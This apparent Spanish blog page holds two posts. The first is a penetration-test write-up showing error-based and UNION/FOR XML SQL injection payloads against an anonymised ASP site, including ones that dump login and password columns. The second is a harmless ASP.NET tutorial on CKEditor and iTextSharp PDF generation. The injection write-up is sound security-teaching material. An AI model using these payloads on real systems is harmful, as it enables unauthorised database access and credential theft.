domingo, 21 de agosto de 2011

Hasta la cocina

Por motivos laborales, decido realizar test de penetración de la aplicación web donde tengo que desarrollar una aplicación.
Evidentemente, los nombres, direcciones, contraseñas y demás datos han sido modificados para este artículo.

A medida que avanza el test, se van encontrando diferentes fallos. Este post se centrará en la explotación de la vulnerabilidad SFX-SQLi, que mediante una única petición permite el volcado de los datos de toda una tabla en formato XML en un campo, inyectando una subconsulta en una entrada vulnerable. Para más información se recomienda dar un paseo por la web de Dani Kachakil, así como leer el artículo que le dedicó Chema Alonso, donde explican esto detalladamente.

La aplicación está desarrollada en asp. Al entrar en la web aparece la típica ventana para loguearnos.
Se prueban varias combinaciones típicas sin resultado positivo y sin bloqueo en el número de intentos por lo que se podía haber utilizado un script por fuerza bruta para obtener el login y password, pero vemos que tiene un enlace para el cambio de contraseña que nos abre otra ventana en un nuevo directorio.

También habíamos encontrado este directorio mediante WFUZ de Christian Martorella.

Analizando el código de la página de cambio de contraseñas, vemos un enlace que apunta a un archivo .asp. Descargamos el archivo que nos facilita mucha información acerca de como desarrollan la aplicacion y además encontramos un email del antiguo desarrollador de la aplicación.

Se prueba con el nombre y apellido en el formato del email, tanto para el usuario y password, obteniendo fácil acceso dado a una mala política de seguridad también en las contraseñas.

Una vez dentro y de casualidad, nos encontramos con un error OLE DB 80040e14 al probar si es vulnerable a XSS.


http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=>



Microsoft OLE DB Provider for SQL Server error '80040e14'
Sintaxis incorrecta cerca de '>'.



Debido al error se deduce que es posible SQLi y se confirma al obtener los primeros datos de la DB:

http://webEjemplo .com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20having%201=1--


Microsoft OLE DB Provider for SQL Server error '80040e14'
La columna 'tbEjemplo.ID' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.


Se obtiene el nombre de la tabla y el primer campo, se podría deducir como serán las otras tablas pero iremos paso a paso.

'GROUP BY tbEjemplo.ID having 1=1—

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20GROUP%20BY%20ID,%20NOMBRE,%20TELEFONO%20having%201=1--


La columna 'tbEjemplo.FAX' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.


Se van extrayendo las columnas una a una hasta tener la tabla completa, las siguientes se podrán sacar desde una única consulta mediante subconsulta.

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20MIN%28ID%29,1,1,1,1,1,1%20FROM%20tbUSUARIOS%20WHERE%20ID%20%3E1--
Para ver el nombre de la base de datos:
http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,db_name%28%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07'
Error de conversión al convertir el valor nvarchar 'dbwebEjemplo_DEV' al tipo de datos int.



Se pueden obtener más datos como el usuario que estamos utilizando de acceso:

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,user_name%28%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07' Error de conversión al convertir el valor nvarchar 'dbo' al tipo de datos int.


http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,%28select+top+1+table_name+from+information_schema.tables%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07' Error de conversión al convertir el valor nvarchar 'tbUSUARIOS' al tipo de datos int.



http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbUSUARIOS')))--


Error de conversión al convertir el valor nvarchar 'sysdiagrams' al tipo de datos int.



http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbUSUARIOS','sysdiagrams')))--


Error de conversión al convertir el valor nvarchar 'tbUSUARIOSHISTORICOPASSWORD' al tipo de datos int.


Y así una a una…

También se puede encontrar el nombre de las columnas con:
http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbUSUARIOS'))--


Error de conversión al convertir el valor nvarchar 'ID' al tipo de datos int.

=1 and 1=convert(int,(select top 1 column_name from information_schema.columns
where table_name='tbUSUARIOS'and+column_name not in ('ID','NOMBRE','APELLIDO1','APELLIDO2')))--





Y al final, la parte más interesante.
Mediante union podemos sacar todos los datos de la tabla con SFX-SQLi, tal como se ha dicho al principio, inyectando una subconsulta en uno de los campos (varchar), en este caso se escoge el segundo campo.

La consulta sería algo así:


select * from tbEjemplo UNION SELECT ID,(SELECT * FROM tbEjemplo FOR XML RAW),'1','1','1','1',1 FROM tbEjemplo –



En el ejemplo:

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20*%20FROM%20tbEjemplo%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--

Donde se puede ver como extraemos el xml en el segundo campo.








Como se ha visto, una vez sabemos el nombre de la base de datos, se pueden conseguir todas las tablas de esta db en formato XML:

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20*%20FROM%dbwebEjemplo_DEV1.INFORMATION_SCHEMA.TABLES%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--





Y una vez tenemos esto podemo ver que tabla contine usuarios y lanzar la inyección por nombre de las columnas que nos interese.
Esta injección nos da los campos login y password de la tabla tbUSUARIOS en formato XML.

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20LOGIN,%20PASSWORD%20FROM%20tbUSUARIOS%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--

Como también los campos Nombre, apellido1, email, login, password

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20NOMBRE,%20APELLIDO1,%20EMAIL,%20LOGIN,%20PASSWORD%20FROM%20tbUSUARIOS%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--


Como se puede ver, no hace falta dedicar mucho tiempo para conseguir toda la información posible.
La solución a estos errores habría sido sencilla:

Mantener una política de seguridad de las contraseñas, controlar que parte de código es accesible desde el cliente y filtrar los parámetros antes de ser pasados habría sido suficiente.


sábado, 16 de julio de 2011

ASP.NET: Control para editar texto.

Unificando reportes en un único PDF - 1


Esta entrada estará dividida en varias partes.

La intención en esta aplicación web es reportar mediante un único informe en pdf diferentes gráficos, tablas de resultados y el análisis de los resultados, además de alguna documentación que desea incluir el cliente en tiempo de ejecución. Teniendo en cuenta que el presupuesto para el desarrollo es cero, por lo que no se han utilizado soluciones de pago que harían esto de una forma más sencilla.

Lamentablemente no enlazaré los múltiples sitios consultados pues en ninguno de ellos he encontrado toda la información que he necesitado y he perdido la cuenta de los que me han servido de algo.

Al final, como Frankenstein, esto está hecho a retales. Es posible que hayan formas más sencillas de hacerlo, esta simplemente ha sido la mía.


Se realiza un proyecto web con ASP.NET programando en vb.net y c# utilizando visual studio 2008 (Framework 3.5) y SQL Server 2005 para gestionar los datos.

Básicamente, al inicio los objetivos eran los siguientes:

- Utilizar una caja de texto en la que el usuario pueda insertar texto con formato, modificar la fuente, tamaño, alineación etc.
- Crear diferentes gráficos, tablas... 6 reportes en 1, sin pagar licencias de software especifico para esto, por lo que se ha utilizado report viewer y sub reports.
- Generar pdf de los reportes
- Generar pdf del texto introducido en tiempo de ejecución.
- Unificar los diferentes pdf en un único archivo.

Para cubrir el primer objetivo, hacemos servir CKeditor un potente editor de texto Open Source.

El funcionamiento es sencillo:
- Se descarga CKeditor desde aquí.
- Se agregan las referencias al proyecto. Podemos comprobar la .dll en el directorio /bin del proyecto.
- Colocamos en el diseño el código del componente. Configuramos las propiedades de éste según gustos, en este caso he modificado la Toolbar básica que viene por defecto ya que algunas funcionalidades del complemento no funcionaban correctamente.





<CKEditor:CKEditorControl ID="CKEditor1" UseBROnCarriageReturn="true" runat="server" Width="877px" Toolbar="Basic" EnableXHTML="true" ToolbarBasic="Bold|Italic|Underline|Strike|-|
JustifyLeft|JustifyCenter|JustifyRight|JustifyBlock|-||-||PageBreak|
Link|Unlink|Anchor
Styles|Format|Font|FontSize|-|TextColor|BGColor" Height="342px"></CKEditor:CKEditorControl>


Una vez tengo el editor de texto funcionando, creo un reporte mediante el control report viewer y trato de pasarle el texto de ckeditor con CKeditor.text por parámetros del reporte.
Pero no funciona correctamente pues me pasa el texto con formato HTML.
Revisando en la web como solucionarlo, veo que report viewer no permite decodificar el texto en HTML, por lo que recurro a iTextSharp para crear un primer reporte en pdf de este texto.

Desde la source forge, descargo iTextSharp.

- Añadimos la libreria al proyecto, agregando una vez más la referencia y comprobando que se encuentra en el directorio /bin.

Para su uso, en el código añadimos las diferentes implementaciones necesarias:


'imports para el uso de itextsharp
Imports iTextSharp
Imports iTextSharp.text
Imports iTextSharp.text.pdf
Imports iTextSharp.text.Image


Añadimos un procedimiento que nos convierta html a un archivo pdf.


Private Sub añadeTextoHTML()

Try

Dim Documento As New Document

Dim pagina As New Page

PdfWriter.GetInstance(Documento, New

'Indicamos una ruta y nombre del archivo

FileStream(Server.MapPath(".\Pdf\") + "Prueba-text.pdf", FileMode.Append))

Documento.Open() 'Abrimos el documento
Dim parrafo As New Paragraph
Documento.Add(parrafo) 'Agrega el parrafo al documento
parrafo.Clear()

Dim htmlText As String = CKEditor1.Text
Dim xx As iTextSharp.text.html.simpleparser.StyleSheet = Nothing
Dim htmlarraylist As New List(Of IElement)

htmlarraylist = iTextSharp.text.html.simpleparser.HTMLWorker.ParseToList(New StringReader(htmlText), xx)

For k = 0 To htmlarraylist.Count - 1

Documento.Add(DirectCast(htmlarraylist(k), IElement))

Next

Documento.Close()

'System.Diagnostics.Process.Start(Server.MapPath(".\Pdf\") + "Prueba-text.pdf") 'Abre el archivo creado

Catch exx As Exception

lblError.Text = "<script>alert('Ha ocurrido un error al crear el documento de texto')</script>"

End Try

End Sub


Evidentemente, antes de pasar el texto del editor, realizaremos un filtrado del mismo, por lo que pudieran entrar los usuarios, mediante una función que nos retorne el texto filtrado.
Para ello he utilizado "replace" de todo lo que se ha considerado sospechoso conveniente.

Es interesante leer el post minimizando riesgos de pdf.

En la segunda parte trataré como hacer reports y subreports mediante un control report viewer y como unir los diferentes archivos generados en un único pdf.

Se agradecen vuestras críticas sugerencias.


Un saludo desde mi reino,

LeGNa